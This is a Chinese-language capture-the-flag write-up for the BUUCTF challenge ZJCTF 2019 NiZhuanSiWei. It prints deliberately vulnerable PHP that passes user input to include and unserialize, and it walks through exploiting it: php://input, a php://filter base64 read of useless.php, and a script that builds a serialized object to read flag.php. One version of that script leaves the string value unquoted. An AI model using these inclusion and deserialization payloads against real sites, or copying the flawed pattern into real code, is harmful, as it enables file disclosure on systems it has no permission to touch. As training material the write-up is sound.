BUUCTF [ZJCTF 2019]NiZhuanSiWei关于PHP伪协议，文件包含，序列化

打开靶机

 

 

 分析源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

应该传入三个参数，然后审计源码

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

表明应当$text参数不为空，且值应当为“welcome to the zjctf”

用php://input传入“welcome to the zjctf”

 

 

 得到了新的网页，再审计其他代码

    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php

过滤了传入“flag”的变量,但是看到一个文件输入 /uselesss.php

那就继续构造 /?text=php://input&file=php://filter/convert.base64-encode/resource=useless.php

 

 

 用base64转码出源码，审计，结合

<?p
hp  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

$password = unserialize($password);
是反序列化，构造脚本，$file的值为flag.php

<?php  

class Flag{  //flag.php  
    public $file=flag.php;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$password=new Flag();
$newpassword=serialize($password);
echo $newpassword;
?>  

创建一个新类,传入新值，序列化

或者

<?php
class Flag{  //flag.php  
    public $file;  
}
$flag = new Flag;
$flag->file = 'flag.php';
print(serialize($flag));
?>

 

得到

传入password

 

得到flag